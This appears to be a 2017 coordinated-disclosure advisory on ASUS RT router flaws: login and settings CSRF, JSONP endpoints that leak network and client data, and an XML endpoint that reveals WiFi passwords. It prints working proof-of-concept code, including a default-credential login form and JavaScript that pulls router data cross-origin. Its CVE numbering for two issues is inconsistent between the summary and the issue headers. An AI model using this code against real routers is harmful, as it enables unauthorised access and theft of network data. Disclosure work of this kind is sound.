Summary

Various models of ASUS RT routers have several CSRF vulnerabilities allowing malicious sites to login and change settings in the router; multiple JSONP vulnerabilities allowing exfiltration of router data and an XML endpoint revealing WiFi passwords.

Most of these issues have been fixed by Asus in the March 2017 firmware update under v3.0.0.4.380.7378. One issue (JSONP information disclosure – CVE-2017-5892) remains unfixed since the vendor doesn’t consider it to be a security threat [UPDATE: Asus will be fixing this]

CVE-2017-5891 has been assigned to the CSRF issues, and CVE-2017-5892 to cover the JSONP disclosure without login issue. [ADDED 05/11/2017: Two additional CVEs have been issued to cover JSONP issues after login – CVE-2017-8877 – and the XML information disclosure issue – CVE-2017-8878].

[ADDED 05/28/2017: As reported in comments below, multiple other models may be affected; please review the list below for details on what is affected, and whether patches are available]

Vulnerability Details

RT routers from ASUS like many other routers come with a built-in web interface accessible over the local network but normally not accessible via the Internet. We discovered multiple issues within that web interface that would can facilitate attacks on the router either via a malicious site visited by a user on the same network, or a malicious mobile or desktop application running on the same network.

For the CSRF vulnerabilities, a user would need to visit a malicious site which can try to login and change settings. For the JSONP vulnerabilities, a website can load the JSONP endpoints via SCRIPT tags as long as matching function name is defined on that site. The XML endpoint requires a mobile or desktop application to exploit.

NOTE: all of these assume that the attacker knows the local IP address of the router. This could probably be guessed or be determined via Javascript APIs like WebRTC. For desktop and mobile applications, determination of the gateway address should be trivial to implement.

Issue #1 – Login Page CSRF (CVE-2017-5891)

The login page for the router doesn’t have any kind of CSRF protection, thus allowing a malicious website to submit a login request to the router without the user’s knowledge. Obviously, this only works if the site either knows the username and password of the router OR the user hasn’t changed the default credentials (“admin / admin”). To exploit, submit the base-64 encoded username and password as “login_authorization” form post, to the “/login.cgi” URL of the browser.

Example of a form that can exploit this issue (uses default credentials):

<form action="http://192.168.1.1/login.cgi"
   method="post" target="_blank">
<input name="login_authorization" type="text"
   value="YWRtaW46YWRtaW4=" />
<input type="submit" /></form>

Issue #2 – Save Settings CSRF (CVE-2017-5891)

The various pages within the interface that can save settings do not have CSRF protection. That means that a malicious site, once logged in as described above would be able to change any settings in the router without the user’s knowledge.

NOTE: We have not been to exploit this issue consistently

Issue #3 – JSONP Information Disclosure Without Login (CVE-2017-8877)

Two JSONP endpoints exist within the router which allow detection of which ASUS router is running and some information disclosure. No login is required to the router. The vendor doesn’t consider these endpoints a security threat. [ADDED 05/11/2017: A project named Sonar.JS exists on Github that describes how to use this with WebRTC to figure out which router the user is running, This project is an example of what is possible with an end point like this one].

The endpoints are as follows:

• /findasus.json
  • Returns the router model name, SSID name and the local IP address of the router
    • iAmAlive([{model?Name: “XXX”, ssid: “YYY”, ipAddr: “ZZZZ”}])
• /httpd_check.json
  • Returns: {“alive”: 1, “isdomain”: 0}

Exploit code as follows:

function iAmAlive(payload) {
  window.alert("Result returned: " + JSON.stringify(payload));
}
function alert1() {
  var script = document.createElement('script');
  script.src = 'http://192.168.1.1/findasus.json'
  document.getElementsByTagName('head')[0].appendChild(script);
}
function alert2() {
  var script = document.createElement('script');
  script.src = 'http://192.168.1.1/httpd_check.json'
  document.getElementsByTagName('head')[0].appendChild(script);
}

Issue #4 – JSONP Information Disclosure, Login Required (CVE-2017-5892)

There exist multiple JSONP endpoints within the router interface that reveal various data from the router including.

Below is a list of endpoints and exploit code:

/status.asp – Network Information

function getstatus() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/status.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
function show_wanlink_info() {
    var obj = {};
    obj.status = wanlink_status();
    obj.statusstr = wanlink_statusstr();
    obj.wanlink_type = wanlink_type();
    obj.wanlink_ipaddr = wanlink_ipaddr();
    obj.wanlink_xdns = wanlink_xdns();
    window.alert(JSON.stringify(obj));
}

<br/>
<button onClick="getstatus()">Load Status script</button>
<button onClick="show_wanlink_info()">Show wanlink info</button>
<br/><br/>

/wds_aplist_2g.asp – Surrounding Access points, 2.4 Ghz band

/wds_aplist_5g.asp – Surrounding Access points, 5 Ghz band

 

function getwds_2g() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/wds_aplist_2g.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
function getwds_5g() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/wds_aplist_5g.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getwds_2g()">Load 2G info</button>
<button onClick="getwds_5g()">Load 5G info</button>
<button onClick="window.alert(JSON.stringify(wds_aplist))">Show AP info</button>
<br/><br/>

/update_networkmapd.asp – Network map of devices on the network

function getmap() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/update_networkmapd.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getmap()">Load Network map</button>
<button onClick="window.alert(JSON.stringify(fromNetworkmapd))">Show Map</button>
<br/><br/>

/update_clients.asp – Origin data

function getorigin() {
    originData = [];
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/update_clients.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getorigin()">Load Origin</button>
<button onClick="window.alert(JSON.stringify(originData))">Show Origin</button>

/get_real_ip.asp – External IP address

function getrealip() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/get_real_ip.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getrealip()">Load IP</button>
<button onClick="window.alert(JSON.stringify(wan0_realip_ip))">Show IP</button>

/get_webdavInfo.asp – WebDAV information

function getwebdav() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/get_webdavInfo.asp';
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getwebdav()">Load WebDav</button>
<button onClick="window.alert(JSON.stringify(pktInfo))">Show Info 1</button>
<button onClick="window.alert(JSON.stringify(webdavInfo))">Show Info 1</button>
<br/><br/>

Issue #5 – XML Endpoint Reveals WiFi Passwords (CVE-2017-8878)

An XML endpoint exists in the router which reveals the WiFi password to the router but to fully exploit this issue, it would require a mobile or desktop application running on the local network since XML cannot be loaded cross origin in the browser. This endpoint can be accessed at the following URL and requires login:

[router IP]/WPS_info.xml

Mitigation Steps / Vendor Response

Users should change the default credentials and apply the latest firmware released by ASUS, version v3.0.0.4.380.7378 or higher (except for 4G-AC55U which has no patches available).

There is no mitigation available for the issue #3 – JSONP information disclosure without login.

Affected models include the following ASUS routers and is not exhaustive:

• 4G-AC55U – [ADDED 05/10/2017, patches are available as of 06/13/2017]
• RT-AC51U
• RT-AC52U B1 – [ADDED 05/10/2017 based on Asus Firmware updates]
• RT-AC53 – [ADDED 05/10/2017 based on Asus Firmware updates]
• RT-AC53U
• RT-AC55U
• RT-AC56R
• RT-AC56S
• RT-AC56U
• RT-AC58U – [ADDED 05/28/2017: As reported by a commenter below, this one is also affected] [ADDED 06/15/2017 – firmware update now available]
  
• RT-AC66U
• RT-AC68U
• RT-AC68UF – [ADDED 05/10/2017 based on Asus Firmware updates]
• RT-AC66R
• RT-AC66U
• RT-AC66W
• RT-AC68W
• RT-AC68P
• RT-AC68R
• RT-AC68U
• RT-AC87R
• RT-AC87U
• RT-AC88U – [ADDED 05/10/2017 based on Asus Firmware updates]
• RT-AC1200 – [ADDED 05/10/2017 based on Asus Firmware updates]
• RT-AC1750 – [ADDED 05/10/2017 based on Asus Firmware updates]
• RT-AC1900P
• RT-AC3100
• RT-AC3200
• RT-AC5300
• RT-AC1200G+ – [ADDED 06/15/2017: based on a comment below]
• RT-ACRH13 – [ADDED 05/28/2017: As reported by a commenter below, this one is also affected and has no patches]
• RT-N11P
• RT-N12 (D1 version only)
• RT-N12+
• RT-N12E
• RT-N16 – [ADDED 05/10/2017 based on Asus Firmware updates]
• RT-N18U
• RT-N56U
• RT-N66R – [07/20/2017 – as per commenter below, new firmware was released on July 17th, 2017 – v3.0.0.4.380.7743]
• RT-N66U (B1 version only)
• RT-N66W
• RT-N300 – [ADDED 05/10/2017 based on Asus Firmware updates]
• RT-N600 – [ADDED 05/10/2017 based on Asus Firmware updates]

References

CVE-IDs: CVE-2017-5891, CVE-2017-5892, CVE-2017-8877 and CVE-2017-8878

CERT/CC Tracking # VR-627

Credits

We would like to thank CERT/CC for helping to coordinate the disclosure process. This advisory was written by Yakov Shafranovich.

Timeline

2017-01-21: Initial contact with the vendor
2017-01-23: Initial contact with CERT/CC
2017-02-05: Vulnerability details and POC code provided to the vendor, CVEs requested
2017-02-10: Vulnerability analysis received from the vendor
2017-02-12: Beta firmware provided by the firmware to test fixes
2017-02-12: Vendor fixes confirmed

2017-03-31: Fixed firmware released publicly by the vendor

2017-05-01: Draft advisory shared with the vendor and CERT/CC

2017-05-09: Public disclosure